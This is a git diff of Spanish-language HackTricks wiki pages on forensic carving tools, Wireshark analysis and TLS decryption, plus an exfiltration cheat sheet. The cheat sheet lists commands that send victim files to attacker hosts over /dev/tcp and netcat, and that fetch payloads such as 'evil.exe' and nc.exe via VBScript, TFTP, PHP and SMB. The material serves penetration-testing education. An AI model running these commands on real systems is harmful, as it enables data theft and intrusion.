|
||||
### FindAES
|
||||
|
||||
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
|
||||
Descarga [aquí](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
|
@ -105,12 +97,6 @@ Descarga [aquí](https://sourceforge.net/projects/findaes/).
|
|||
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
|
||||
Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Herramientas de Carving y Recuperación
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
|
@ -33,7 +25,7 @@ La herramienta más común utilizada en forense para extraer archivos de imágen
|
|||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Comandos útiles**:
|
||||
```bash
|
||||
|
@ -65,7 +57,7 @@ Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, *
|
|||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
|
||||
Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee[ **análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -81,7 +73,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web
|
|||
|
||||
#### Características de BinVis
|
||||
|
||||
* Visual y activo **visor de estructuras**
|
||||
* Visualizador de **estructura** visual y activa
|
||||
* Múltiples gráficos para diferentes puntos de enfoque
|
||||
* Enfocándose en porciones de una muestra
|
||||
* **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
|
||||
|
@ -96,21 +88,15 @@ BinVis es un gran **punto de partida para familiarizarse con un objetivo descono
|
|||
|
||||
### FindAES
|
||||
|
||||
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
|
||||
Descarga [aquí](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Herramientas complementarias
|
||||
|
||||
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
|
||||
Puedes usar [**viu** ](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
|
||||
Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -10,24 +10,12 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir el robo de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Si tienes un pcap con datos siendo **exfiltrados por DNSCat** (sin usar cifrado), puedes encontrar el contenido exfiltrado.
|
||||
|
||||
|
|
|
@ -1,33 +1,20 @@
|
|||
# Wireshark tricks
|
||||
# Trucos de Wireshark
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Mejora tus habilidades en Wireshark
|
||||
|
||||
|
@ -50,7 +37,7 @@ Al hacer clic en _**Analizar** --> **Información Experta**_ tendrás una **visi
|
|||
|
||||
**Direcciones Resueltas**
|
||||
|
||||
Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark, como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación.
|
||||
Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación.
|
||||
|
||||
![](<../../../.gitbook/assets/image (893).png>)
|
||||
|
||||
|
@ -98,27 +85,27 @@ Otros filtros interesantes:
|
|||
|
||||
### Búsqueda
|
||||
|
||||
Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna.
|
||||
Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna.
|
||||
|
||||
### Laboratorios pcap gratuitos
|
||||
|
||||
**Practica con los desafíos gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
|
||||
## Identificando Dominios
|
||||
## Identificación de Dominios
|
||||
|
||||
Puedes agregar una columna que muestre el encabezado HTTP del Host:
|
||||
Puedes agregar una columna que muestre el encabezado Host HTTP:
|
||||
|
||||
![](<../../../.gitbook/assets/image (639).png>)
|
||||
|
||||
Y una columna que agregue el nombre del Servidor de una conexión HTTPS iniciadora (**ssl.handshake.type == 1**):
|
||||
Y una columna que agregue el nombre del servidor de una conexión HTTPS iniciadora (**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
## Identificando nombres de host locales
|
||||
## Identificación de nombres de host locales
|
||||
|
||||
### Desde DHCP
|
||||
|
||||
En la versión actual de Wireshark, en lugar de `bootp` necesitas buscar `DHCP`
|
||||
En la versión actual de Wireshark en lugar de `bootp` necesitas buscar `DHCP`
|
||||
|
||||
![](<../../../.gitbook/assets/image (1013).png>)
|
||||
|
||||
|
@ -126,9 +113,9 @@ En la versión actual de Wireshark, en lugar de `bootp` necesitas buscar `DHCP`
|
|||
|
||||
![](<../../../.gitbook/assets/image (1003).png>)
|
||||
|
||||
## Desencriptando TLS
|
||||
## Desencriptar TLS
|
||||
|
||||
### Desencriptando tráfico https con la clave privada del servidor
|
||||
### Desencriptar tráfico https con la clave privada del servidor
|
||||
|
||||
_edit>preferencia>protocolo>ssl>_
|
||||
|
||||
|
@ -136,7 +123,7 @@ _edit>preferencia>protocolo>ssl>_
|
|||
|
||||
Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, Puerto, Protocolo, Archivo de clave y contraseña_)
|
||||
|
||||
### Desencriptando tráfico https con claves de sesión simétricas
|
||||
### Desencriptar tráfico https con claves de sesión simétricas
|
||||
|
||||
Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que se pueden usar con Wireshark para desencriptar tráfico TLS. Esto permite un análisis profundo de las comunicaciones seguras. Más detalles sobre cómo realizar esta desencriptación se pueden encontrar en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
|
@ -146,7 +133,7 @@ Un archivo de claves compartidas se verá así:
|
|||
|
||||
![](<../../../.gitbook/assets/image (820).png>)
|
||||
|
||||
Para importar esto en Wireshark, ve a \_editar > preferencia > protocolo > ssl > e impórtalo en el nombre de archivo de registro de (Pre)-Master-Secret:
|
||||
Para importar esto en Wireshark ve a \_editar > preferencia > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename:
|
||||
|
||||
![](<../../../.gitbook/assets/image (989).png>)
|
||||
|
||||
|
@ -179,18 +166,6 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Exfiltración
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
## Dominios comúnmente en la lista blanca para exfiltrar información
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Dominios comúnmente permitidos para exfiltrar información
|
||||
|
||||
Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente permitidos que pueden ser abusados
|
||||
|
||||
## Copiar y Pegar Base64
|
||||
## Copiar\&Pegar Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|||
### Subir archivos
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**SimpleHttpServer imprimiendo GET y POSTs (también encabezados)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### Cliente de **Windows**
|
||||
### **Cliente** de Windows
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
O crear un recurso compartido smb **utilizando samba**:
|
||||
O crea un recurso compartido smb **usando samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -186,37 +178,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Exfiltration
|
||||
|
||||
## Introduction
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a computer. Attackers exfiltrate data to maintain access, sell it on the black market, or use it for other malicious purposes. Exfiltration techniques can vary depending on the target environment and the goals of the attacker.
|
||||
|
||||
## Windows Exfiltration Techniques
|
||||
|
||||
### Common Techniques
|
||||
|
||||
- **Web-Based Exfiltration**: Attackers can use web applications to exfiltrate data by uploading it to external servers or sending it via web requests.
|
||||
|
||||
- **DNS Exfiltration**: Attackers can encode data within DNS requests to exfiltrate information from a compromised system.
|
||||
|
||||
- **Email Exfiltration**: Attackers can send sensitive data as email attachments or in the body of emails to external email accounts.
|
||||
|
||||
- **Exfiltration Over C2 Channels**: Attackers can exfiltrate data over command-and-control (C2) channels established with malware on the compromised system.
|
||||
|
||||
### Advanced Techniques
|
||||
|
||||
- **Steganography**: Attackers can hide data within images, audio files, or other types of files to exfiltrate information without detection.
|
||||
|
||||
- **Data Compression**: Attackers can compress data before exfiltrating it to reduce the size of the transferred files and avoid detection.
|
||||
|
||||
- **Data Encryption**: Attackers can encrypt exfiltrated data to prevent detection by security controls.
|
||||
|
||||
- **Fileless Exfiltration**: Attackers can exfiltrate data without writing it to disk, making detection more challenging for security tools.
|
||||
|
||||
## Detection and Prevention
|
||||
|
||||
Detecting exfiltration attempts can be challenging due to the variety of techniques available to attackers. Organizations can implement network monitoring, endpoint security solutions, and user awareness training to help detect and prevent data exfiltration.
|
||||
Windows
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -239,17 +201,13 @@ sudo mkdir /mnt/sshfs
|
|||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
### Netcat
|
||||
|
||||
Netcat is a versatile networking utility that can be used for reading from and writing to network connections using TCP or UDP. It can be used to transfer files, port scanning, banner grabbing, and as a backdoor. Netcat can be used to exfiltrate data by connecting to a remote server and sending the data over the network.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Descargar archivo desde la víctima
|
||||
### Descargar archivo de la víctima
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
|
@ -261,7 +219,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
|||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
Gracias a **@BinaryShadow\_**
|
||||
gracias a **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
|
@ -283,15 +241,15 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con Python:
|
||||
Si puedes enviar datos a un servidor SMTP, puedes crear un SMTP para recibir los datos con python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)
|
||||
Por defecto en XP y 2003 (en otros debe ser agregado explícitamente durante la instalación)
|
||||
|
||||
En Kali, **iniciar el servidor TFTP**:
|
||||
En Kali, **iniciar servidor TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
|
@ -303,21 +261,17 @@ cp /path/tp/nc.exe /tftp
|
|||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
En **víctima**, conectarse al servidor Kali:
|
||||
En **victim**, conéctate al servidor Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Descarga un archivo con un PHP oneliner:
|
||||
Descargar un archivo con un oneliner de PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### Visual Basic Scripting Edition (VBScript)
|
||||
|
||||
VBScript is a lightweight scripting language developed by Microsoft that is modeled on Visual Basic. It is commonly used for client-side scripting in web development and can also be used for server-side scripting through Windows Script Host (WSH). VBScript is often executed within HTML documents to perform tasks such as form validation or interacting with the user.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -355,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hexadecimal**. Esto significa que al proporcionar un hexadecimal de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblaje de archivos de hasta 64 kb de tamaño**.
|
||||
El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hex**. Esto significa que al proporcionar un hex de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblar archivos de hasta 64 kb de tamaño**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
```markdown
|
||||
Luego copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.
|
||||
Luego, copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -370,24 +323,17 @@ Luego copia y pega el texto en la ventana de comandos de Windows y se creará un
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
@ -8,41 +8,27 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
